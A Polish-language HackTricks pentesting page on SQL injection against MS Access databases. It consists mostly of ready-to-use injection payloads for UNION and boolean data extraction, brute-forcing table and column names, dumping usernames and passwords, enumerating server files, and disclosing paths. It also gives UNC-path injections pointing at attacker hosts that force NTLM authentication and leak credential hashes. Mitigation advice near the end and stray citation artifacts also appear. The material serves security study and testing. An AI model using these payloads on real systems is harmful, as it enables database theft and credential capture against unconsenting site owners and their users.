MS Access SQL Injection
Reading time: 9 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Online Playground
Ograniczenia DB
Konkatenacja ciągów
Konkatenacja ciągów jest możliwa za pomocą znaków & (%26)
i + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Komentarze
Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego znaku zapytania za pomocą znaku NULL:
1' union select 1,2 from table%00
Jeśli to nie działa, zawsze możesz poprawić składnię zapytania:
1' UNION SELECT 1,2 FROM table WHERE ''='
Stacked Queries
Nie są obsługiwane.
LIMIT
Operator LIMIT
nie jest zaimplementowany. Możliwe jest jednak ograniczenie wyników zapytania SELECT do pierwszych N wierszy tabeli za pomocą operatora TOP
. TOP
przyjmuje jako argument liczbę całkowitą, reprezentującą liczbę wierszy do zwrócenia.
1' UNION SELECT TOP 3 attr FROM table%00
Podobnie jak TOP, możesz użyć LAST
, który pobierze wiersze z końca.
Zapytania UNION/Zapytania podrzędne
W SQLi zazwyczaj chcesz w jakiś sposób wykonać nowe zapytanie, aby wyodrębnić informacje z innych tabel. MS Access zawsze wymaga, aby w zapytaniach podrzędnych lub dodatkowych zapytaniach wskazano FROM
.
Więc, jeśli chcesz wykonać UNION SELECT
lub UNION ALL SELECT
lub SELECT
w nawiasach w warunku, zawsze musisz wskazać FROM
z ważną nazwą tabeli.
Dlatego musisz znać ważną nazwę tabeli.
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
warning
To pozwoli Ci na wyeksportowanie wartości z bieżącej tabeli bez potrzeby znajomości jej nazwy.
MS Access pozwala na dziwną składnię taką jak '1'=2='3'='asd'=false
. Jak zwykle, SQL injection będzie w klauzuli WHERE
, co możemy wykorzystać.
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna nazwa kolumny to username, a to jest pole, które chcesz wyeksportować. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika chaining equals i potencjalnie wyeksportować zawartość za pomocą boolean injection używając funkcji Mid
do uzyskania podciągów.
'=(Mid(username,1,3)='adm')='
Jeśli znasz nazwę tabeli i kolumny, które chcesz zrzucić, możesz użyć kombinacji Mid
, LAST
i TOP
, aby wyciekł wszystkie informacje za pomocą boolean SQLi:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Czuj się swobodnie, aby to sprawdzić w internetowym placu zabaw.
Bruteforcing nazw tabel
Używając techniki łańcuchowego równości, możesz również bruteforować nazwy tabel za pomocą czegoś takiego:
'=(select+top+1+'lala'+from+<table_name>)='
Możesz również użyć bardziej tradycyjnego sposobu:
-1' AND (SELECT TOP 1 <table_name>)%00
Feel free to check this in the online playground.
- Sqlmap common table names: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- There is another list in http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Brute-Forcing Columns names
Możesz brute-forcować aktualne nazwy kolumn za pomocą sztuczki z łańcuchowymi równaniami:
'=column_name='
Lub z group by:
-1' GROUP BY column_name%00
Możesz również przeprowadzić atak brute-force na nazwy kolumn innej tabeli za pomocą:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Dumping data
Już omówiliśmy technikę łączenia równań w celu zrzutu danych z bieżącej i innych tabel. Ale są też inne sposoby:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
W skrócie, zapytanie używa instrukcji „if-then”, aby wywołać „200 OK” w przypadku sukcesu lub „500 Internal Error” w przeciwnym razie. Wykorzystując operator TOP 10, możliwe jest wybranie pierwszych dziesięciu wyników. Następne użycie LAST pozwala uwzględnić tylko 10-tą krotkę. Na takiej wartości, używając operatora MID, można przeprowadzić prostą porównanie znaków. Odpowiednio zmieniając indeksy MID i TOP, możemy zrzucić zawartość pola „username” dla wszystkich wierszy.
Sztuczki oparte na czasie (ślepe)
Jet/ACE SQL sam w sobie nie udostępnia natywnej funkcji SLEEP()
lub WAITFOR
, więc tradycyjne ślepe wstrzyknięcia oparte na czasie są ograniczone. Możesz jednak wprowadzić mierzalne opóźnienie, zmuszając silnik do uzyskania dostępu do zasobu sieciowego, który jest wolny lub nie odpowiada. Ponieważ silnik spróbuje otworzyć plik przed zwróceniem wyniku, czas odpowiedzi HTTP odzwierciedla opóźnienie w obie strony do hosta kontrolowanego przez atakującego.
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
Wskaź UNC do:
- udziału SMB za połączeniem o wysokiej latencji
- hosta, który zrywa handshake TCP po
SYN-ACK
- pułapki zapory ogniowej
Dodatkowe sekundy wprowadzone przez zdalne wyszukiwanie mogą być używane jako oracle czasowy poza pasmem dla warunków boolowskich (np. wybierz wolną ścieżkę tylko wtedy, gdy wstrzyknięty predykat jest prawdziwy). Microsoft dokumentuje zachowanie zdalnej bazy danych oraz powiązany przełącznik zabijający w KB5002984. citeturn1search0
Inne interesujące funkcje
Mid('admin',1,1)
pobiera podciąg z pozycji 1 o długości 1 (pozycja początkowa to 1)LEN('1234')
pobiera długość ciąguASC('A')
pobiera wartość ascii znakuCHR(65)
pobiera ciąg z wartości asciiIIF(1=1,'a','b')
jeśli to wtedyCOUNT(*)
zlicza liczbę elementów
Enumerowanie tabel
Z tutaj możesz zobaczyć zapytanie do uzyskania nazw tabel:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Jednak należy zauważyć, że bardzo typowe jest znalezienie SQL Injection, gdzie nie masz dostępu do odczytu tabeli MSysObjects
.
Dostęp do systemu plików
Pełna ścieżka do katalogu głównego serwisu
Znajomość absolutnej ścieżki do katalogu głównego serwisu może ułatwić dalsze ataki. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka do katalogu może zostać ujawniona, próbując wybrać dane z nieistniejącej bazy danych.
http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access odpowiada komunikatem o błędzie zawierającym pełną ścieżkę do katalogu serwisu.
Enumeracja plików
Następujący wektor ataku może być użyty do wnioskowania o istnieniu pliku na zdalnym systemie plików. Jeśli określony plik istnieje, MS Access wyzwala komunikat o błędzie informujący, że format bazy danych jest nieprawidłowy:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Inny sposób na enumerację plików polega na określeniu elementu database.table. Jeśli określony plik istnieje, MS Access wyświetla komunikat o błędzie formatu bazy danych.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Zgadywanie nazwy pliku .mdb
Nazwę pliku bazy danych (.mdb) można wnioskować za pomocą następującego zapytania:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Gdzie name[i] to nazwa pliku .mdb a realTable to istniejąca tabela w bazie danych. Chociaż MS Access zawsze wyzwala komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb.
Zdalny dostęp do bazy danych i kradzież poświadczeń NTLM (2023)
Od wersji Jet 4.0 każde zapytanie może odnosić się do tabeli znajdującej się w innym pliku .mdb/.accdb
za pomocą klauzuli IN '<path>'
:
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
Jeśli dane wejściowe użytkownika są konkatenowane w części po IN (lub w wywołaniu JOIN … IN
/ OPENROWSET
/ OPENDATASOURCE
), atakujący może określić ścieżkę UNC, która wskazuje na hosta, który kontroluje. Silnik będzie:
- próbował uwierzytelnić się przez SMB / HTTP, aby otworzyć zdalną bazę danych;
- wyciekł poświadczenia NTLM serwera WWW (wymuszone uwierzytelnienie);
- analizował zdalny plik – źle sformatowana lub złośliwa baza danych może wywołać błędy korupcji pamięci Jet/ACE, które były wielokrotnie łatanie (np. CVE-2021-28455).
Praktyczny przykład wstrzyknięcia:
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
Impact:
- Wyjściowa eksfiltracja hashy Net-NTLMv2 (użyteczne do relaying lub łamania offline).
- Potencjalne zdalne wykonanie kodu, jeśli zostanie wykorzystany nowy błąd parsera Jet/ACE.
Mitigations (zalecane nawet dla aplikacji Classic ASP):
- Dodaj wartość rejestru
AllowQueryRemoteTables = 0
podHKLM\Software\Microsoft\Jet\4.0\Engines
(i pod odpowiednią ścieżką ACE). To zmusza Jet/ACE do odrzucenia zdalnych ścieżek zaczynających się od\\
. - Zablokuj wychodzące SMB/WebDAV na granicy sieci.
- Oczyść / parametryzuj każdą część zapytania, która może znaleźć się w klauzuli
IN
.
Wektor wymuszonej autoryzacji został ponownie zbadany przez Check Point Research w 2023 roku, udowadniając, że nadal jest podatny na ataki na w pełni załatanych serwerach Windows, gdy klucz rejestru jest nieobecny. citeturn0search0
.mdb Password Cracker
Access PassView to darmowe narzędzie, które można wykorzystać do odzyskania głównego hasła bazy danych Microsoft Access 95/97/2000/XP lub Jet Database Engine 3.0/4.0.
References
- http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
- Microsoft KB5002984 – Konfigurowanie Jet/ACE w celu zablokowania zdalnych tabel
- Check Point Research – Wykorzystywanie powiązanych tabel Microsoft Access do wymuszonej autoryzacji NTLM (2023)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.